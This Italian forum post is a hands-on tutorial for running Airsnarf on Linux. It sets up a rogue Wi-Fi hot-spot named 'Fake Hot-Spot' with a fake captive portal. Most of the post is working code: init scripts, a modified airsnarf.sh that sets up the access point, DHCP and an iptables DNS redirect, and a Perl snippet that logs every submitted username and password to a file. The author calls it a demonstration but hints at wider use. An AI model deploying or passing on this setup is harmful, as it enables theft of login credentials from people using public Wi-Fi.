Usare AirSnarf in Linux

« Older   Newer »
  Share  
view post Posted on 21/4/2010, 14:46

Group:
,,,..--::|| AMMINISTRATORE ||::--..,,,
Posts:
1,602
Location:
Scheda di rete

Status:


Cos’è Airsnarf ?

Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.
E’ quindi, una banale wireless utility che permette all’Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l’uso che se ne può fare è ben più ampio se usiamo un po’ di immaginazione! )

Let’s work…

1.Prima di tutto creiamo due cartelle, chiamate “html” e “dhcp”, nei rispettivi percorsi:

“html” —-> /var/www/
“dhcp” —-> /var/state/

Successivamente creiamo con un editor di testo, il file “dhcpd.leases” e lo copiamo in /var/state/dhcp/

2.Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.httpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Apache web server.

conffile=/etc/httpd/httpd.conf

function start() {
if grep -q “^Include /etc/apache/mod_ssl.conf” $conffile ; then
/usr/sbin/apachectl startssl
else
/usr/sbin/apachectl start
fi
}

function stop() {
/usr/sbin/apachectl stop
}

function restart() {
/usr/sbin/apachectl restart
}

# See how we were called.
case “$1″ in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo “usage $0 start|stop|restart” ;;
esac

Fatto questo, salvatelo e chiudete il file.

3.Ora riapriamo l’editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.dhcpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Samba SMB file/print server.

dhcpd_start() {
if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then
echo “Starting Dhcp…”
/usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0
fi
}

dhcpd_stop() {
killall dhcpd
}

dhcpd_restart() {
dhcpd_stop
sleep 2
dhcpd_start
}

case “$1″ in
’start’)
dhcpd_start
;;
’stop’)
dhcpd_stop
;;
‘restart’)
dhcpd_restart
;;
*)
# Default is “start”, for backwards compatibility with previous
# Slackware versions. This may change to a ‘usage’ error someday.
dhcpd_start
esac
Fatto questo, salvatelo e chiudete il file.

4.Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/

5.Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo:

chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd

6.Adesso andiamo in /pentest/wireless/airsnarf-0.2 e apriamo Airsnarf con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

#!/bin/bash
# airsnarf.sh
# A rogue AP setup utility.

echo “Airsnarf - A rogue AP setup utility.”
echo “0.2″
echo “The Shmoo Group”
# here are some variables you may want to edit
WWW_ROOT=”/var/www/html”
CGI_ROOT=”/var/www/cgi-bin”
LOCAL_CFG=”./cfg”

# specify another config dir with a command line arg if you want
if [ $1 ]
then
LOCAL_CFG=”$1″
fi

source $LOCAL_CFG/airsnarf.cfg

# create the dhcpd.conf
echo -n “Creating dhcpd.conf…”
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
echo “Done.”

# copy over the www stuff
echo -n “Building the captive portal…”
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
echo “Done.”

# set our wireless parameters
echo -n “Setting the wireless parameters…”
ifconfig $ROGUE_INTERFACE down
wlanconfig $ROGUE_INTERFACE destroy
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
ifconfig $ROGUE_INTERFACE up
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
echo “Done.”

# set our ip and default route
echo -n “Setting the ip address and default route…”
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route add -net 0.0.0.0 gw $ROGUE_GW
echo “Done.”

# restart some services
/usr/sbin/dhcpd -cf /etc/dhcpd.conf
/usr/sbin/apachectl restart
#/etc/init.d/sendmail restart

# set up the firewall to redirect
echo -n “Setting up firewall to redirect DNS…”
echo 1 > /proc/sys/net/ipv4/ip_forward
modprobe iptable_nat
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
# dammit, I swear this used to work with just an OUTPUT rule…
iptables -t nat -A OUTPUT -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
echo “Done.”

# start the local dns resolver
echo “Starting local DNS resolver…”
chmod +x ./bin/airsnarf_dns.pl
./bin/airsnarf_dns.pl

Fatto questo, salvatelo e chiudete il file.

7.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg e apriamo Airsnarf.cfg con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

ROGUE_SSID=”Fake Hot-Spot”
ROGUE_NET=”192.168.1.”
ROGUE_GW=”192.168.1.254″
ROGUE_INTERFACE=”ath0″
#export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE

8.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin e apriamo Airsnarf.cgi con un editor di testo.
Cerchiamo la serie di righe di codice che iniziano con “$mailprog = ‘/usr/sbin/sendmail’;” e finiscono con “close(MAIL);” e le commentiamo col carattere # oppure le cancelliamo.
E vi copiamo il seguente source code:

open (MYFILE, ‘>>/tmp/airsnarf_pwds.txt’);
foreach $key (keys(%FORM)) {
print MYFILE “$key = $FORM{$key}\n”;
print MYFILE “———————-\n”;
}
;

Fatto questo, salvatelo e chiudete il file.

9.Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf.

N.B Una volta avviato airsnarf, aspettate che compaia la scritta “Waitintg for connections…” e terminate airsnarf. Andate in /var/www/html, copiatevi tutti i file contenutivi e incollate tutti i file qui: /var/www/htdocs .

/var/www/htdocs .

 
Web     Top
0 replies since 21/4/2010, 14:46   562 views
  Share